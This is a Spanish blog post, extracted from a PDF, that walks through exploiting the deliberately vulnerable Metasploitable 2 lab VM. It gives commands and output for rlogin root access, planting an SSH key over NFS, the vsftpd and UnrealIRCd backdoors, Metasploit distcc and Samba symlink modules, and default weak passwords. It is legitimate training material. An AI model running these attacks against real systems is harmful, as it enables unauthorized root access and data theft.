21/12/2016
HackNode: Guía de Explotabilidad de Metasploitable 2 1
Más
Siguiente blog»
[email protected]
Escritorio
Salir
HackNode You can hack some stuff too! 5
miércoles, mi ércoles, 13 de junio de 2012
Twitter
Guía de Explotabilidad de Metasploitable Metasploitabl e 2
Tweets by @DarkOperator
Metasploitable 2 Seguidores La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otra otras s plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentaci documentación ón sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades vulnerabilidades que permiten a un usuario local escalar a privilegios de root. Este documento se seguirá ampliando con el tiempo a medida que mu que muchos chos de de los defe defectos ctos menos evidentes en esta plataforma se vayan encontrando.
Seguidores (22) Siguiente
Seguir
Primeros Pasos Archivo del blog Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin msfadmin.. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP.
► 2013 (4) ▼ 2012 (13) ► septiembre (2)
1 2 3 4 5 6
msfadmin@metasploitable:~$ ifconfig eth0
?
Link L ink encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.99.131 Bcast:192.168.99.255 Mask: inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link UP BROADCAST BROADCAST RUNNING RUNNING MULTICAST MTU:1500 Me Metric:1 tric:1
Servicios Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:
► agosto (5) ▼ junio (2) Guía de Explotabilidad de Metasploitable 2 Cómo defendernos de los Google Hackers ► mayo (2) ► marzo (1) ► febrero (1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@ubuntu:~# nmap -p0-65535 192.168.99.131 root@ubuntu:~# ? Starting Starti ng Nmap 5.61TEST4 5.61TEST4 ( http://nmap.o http://nmap.org rg ) at 2012-05-31 21: 21:1 1 Nmap scan report for 192.168.99.131 Host is up (0.00028s latency). Not shown: 65506 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds
http://hacknode.blogspot.pe/2012/06/guia-de-explotabilidad-de.html
► 2011 (23) ► 2010 (2)
Datos personales
1/6
21/12/2016 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
HackNode: Guía de Explotabilidad de Metasploitable 2 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open unknown 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open unknown 39292/tcp open unknown 43729/tcp open unknown 44813/tcp open unknown 55852/tcp open unknown MAC Address: 00:0C:29:9A:52:C1 (VMware)
DarkOperator Alpha_Geek/Daddy/Ethical_Ha cker/InfoSec_Professional/Co mic_Fanboy/Clone_Trooper Ver todo mi perfil
Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.
Servicios: Báses de Unix Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.
1 2 3 4
# rlogin -l root 192.168.99.131 ? Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:0 root@metasploitable:~#
Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido " /" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
root@ubuntu:~# rpcinfo program vers proto 100000 2 tcp 100000 2 udp 100024 1 udp 100024 1 tcp 100003 2 udp 100003 3 udp 100003 4 udp 100021 1 udp 100021 3 udp 100021 4 udp 100003 2 tcp 100003 3 tcp 100003 4 tcp 100021 1 tcp 100021 3 tcp 100021 4 tcp 100005 1 udp 100005 1 tcp 100005 2 udp 100005 2 tcp 100005 3 udp 100005 3 tcp
-p 192.168.99.131 port service 111 portmapper 111 portmapper 53318 status 43729 status 2049 nfs 2049 nfs 2049 nfs 46696 nlockmgr 46696 nlockmgr 46696 nlockmgr 2049 nfs 2049 nfs 2049 nfs 55852 nlockmgr 55852 nlockmgr 55852 nlockmgr 34887 mountd 39292 mountd 34887 mountd 39292 mountd 34887 mountd 39292 mountd
?
root@ubuntu:~# showmount -e 192.168.99.131
http://hacknode.blogspot.pe/2012/06/guia-de-explotabilidad-de.html
2/6
21/12/2016 27 28
HackNode: Guía de Explotabilidad de Metasploitable 2 Export list for 192.168.99.131: / *
Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. root@ubuntu:~# root@ubuntu:~# root@ubuntu:~# root@ubuntu:~#
?
mkdir /tmp/r00t mount -t nfs 192.168.99.131:/ /tmp/r00t/ cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/au umount /tmp/r00t
root@ubuntu:~# ssh
[email protected] Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58: root@metasploitable:~#
Servicios: Backdoors En el puerto 21, Metasploitable 2 ejecuta vsftpd , un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root@ubuntu:~# telnet 192.168.99.131 21 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. 220 (vsFTPd 2.3.4) user backdoored:) 331 Please specify the password. pass invalid ^] telnet> quit Connection closed.
?
root@ubuntu:~# telnet 192.168.99.131 6200 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. id; uid=0(root) gid=0(root)
En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.
1 2 3 4 5 6 7 8
? msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler [*] Connected to 192.168.99.131:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your h :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve
http://hacknode.blogspot.pe/2012/06/guia-de-explotabilidad-de.html
3/6
21/12/2016 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
HackNode: Guía de Explotabilidad de Metasploitable 2 [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*]
Sending backdoor command... Accepted the first client connection... Accepted the second client connection... Command: echo 8bMUYsfmGvOLHBxe; Writing to socket A Writing to socket B Reading from sockets... Reading from socket B B: "8bMUYsfmGvOLHBxe\r\n" Matching... A is input... Command shell session 1 opened (192.168.99.128:4444 -> 192
id uid=0(root) gid=0(root)
Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:
1 2 3 4 5 6
root@ubuntu:~# telnet 192.168.99.131 1524 Trying 192.168.99.131... Connected to 192.168.99.131. Escape character is '^]'. root@metasploitable:/# id uid=0(root) gid=0(root) groups=0(root)
?
Servicios: Backdoors No-Intencionales Además de las p uertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd . Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
msfconsole msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > set RHOST 192.168.99.131 msf exploit(distcc_exec) > exploit [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*]
?
Started reverse double handler Accepted the first client connection... Accepted the second client connection... Command: echo uk3UdiwLUq0LX3Bi; Writing to socket A Writing to socket B Reading from sockets... Reading from socket B B: "uk3UdiwLUq0LX3Bi\r\n" Matching... A is input... Command shell session 1 opened (192.168.99.128:4444 -> 192
id uid=1(daemon) gid=1(daemon) groups=1(daemon)
Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.
1 2 3 4 5
root@ubuntu:~# smbclient -L //192.168.99.131 Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Sharename Type Comment ------------------
http://hacknode.blogspot.pe/2012/06/guia-de-explotabilidad-de.html
?
4/6
21/12/2016 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
HackNode: Guía de Explotabilidad de Metasploitable 2 print$ tmp opt IPC$ ADMIN$
Disk Disk Disk IPC IPC
Printer Drivers oh noes! IPC Service (metasploitable IPC Service (metasploitable
root@ubuntu:~# msfconsole msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99 msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp msf auxiliary(samba_symlink_traversal) > exploit [*] [*] [*] [*] [*] msf
Connecting to the server... Trying to mount writeable share 'tmp'... Trying to link 'rootfs' to the root filesystem... Now access the following share to browse the root filesyst \\192.168.99.131\tmp\rootfs\ auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.99.131/tmp Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs smb: \rootfs\> cd etc smb: \rootfs\etc\> more passwd getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.u root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh [..]
Contraseñas Débiles Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd , o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema. Nombre Cuenta Contraseña msfadmin
msfadmin
user
user
postgres
postgres
sys
batman
klog
123456789
service
service
Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password .
Crossposted from Metasploitable 2 Exploitability Guide
Publicado por DarkOperator en 2:25 +1 Recomendar esto en Google
Etiquetas: backdoor , Backtrack, linux, Metasploit, Metasploitable, Metasploitable2, msfadmin, NFS, Nmap, postgres, Samba, SSH, Ubuntu, unix, vsftpd
http://hacknode.blogspot.pe/2012/06/guia-de-explotabilidad-de.html
5/6
21/12/2016
Entrada más reciente
HackNode: Guía de Explotabilidad de Metasploitable 2
Página principal
Entrada antigua
Plantilla Fantástico, S.A.. Con la tecnología de Blogger .
http://hacknode.blogspot.pe/2012/06/guia-de-explotabilidad-de.html
6/6